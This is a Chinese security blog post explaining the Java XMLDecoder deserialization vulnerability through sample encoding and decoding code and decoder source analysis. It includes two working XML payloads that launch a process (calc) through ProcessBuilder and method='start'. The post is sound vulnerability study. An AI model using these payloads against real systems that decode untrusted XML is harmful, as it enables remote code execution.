XMLDecoder反序列化漏洞

前言

Apex打爽了,该偶尔学点东西了,就先摸个鱼吧。


XMLEncoder

新建个项目,写个简单的测试类,看起来需要这个类有一个public的无参构造函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package org.example;

public class Test {
private String s;

public Test() {
this("");
}

public Test(String s) {
this.s = s;
}

public String getS() {
return this.s;
}

public void setS(String s) {
this.s = s;
}

@Override
public String toString() {
return "Test{" +
"s='" + s + '\'' +
'}';
}
}

然后XMLEncode一下:

1
2
3
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
e.writeObject(new Test("Hello,xml"));
e.close();

结果:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<object class="org.example.Test">
<void property="s">
<string>Hello,xml</string>
</void>
</object>
</java>

看起来java标签代表版本,里面保存了反序列化时使用的类;object标签保存了序列化的类名;void保存了成员数据。

XMLDecoder

尝试一下反序列化:

1
2
3
4
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
Object result = d.readObject();
System.out.println(result);
d.close();

结果:

1
Test{s='Hello,xml'}

去XMLDecoder的readObject函数看看,可以找到object标签解析器ObjectElementHandler和void标签解析器VoidElementHandler,其中ObjectElementHandler的处理函数addAttribute如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.idref = var2;
} else if (var1.equals("field")) {
this.field = var2;
} else if (var1.equals("index")) {
this.index = Integer.valueOf(var2);
this.addArgument(this.index);
} else if (var1.equals("property")) {
this.property = var2;
} else if (var1.equals("method")) {
this.method = var2;
} else {
super.addAttribute(var1, var2);
}

}

这里有一个很有意思的属性method,看起来可以用来调用任意函数:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<object method="start"/>
</object>
</java>

虽然没有标明命令所应该归属的属性名,但是XMLDecoder会执行默认的new操作,从而将其交予了ProcessBuilder对象的command属性:

1
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";

此外,VoidElementHandler是ObjectElementHandler的子类,所以void标签可以用来替代object标签:

1
2
3
4
5
6
7
8
final class VoidElementHandler extends ObjectElementHandler {
VoidElementHandler() {
}

protected boolean isArgument() {
return false;
}
}

也就是说:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_281" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>

这样也是可以的。

array和new标签还可以代替class标签来创建对象。


参考文章

https://xz.aliyun.com/t/8465


XMLDecoder反序列化漏洞
http://yoursite.com/2021/09/22/XMLDecoder反序列化漏洞/
作者
Aluvion
发布于
2021年9月22日
许可协议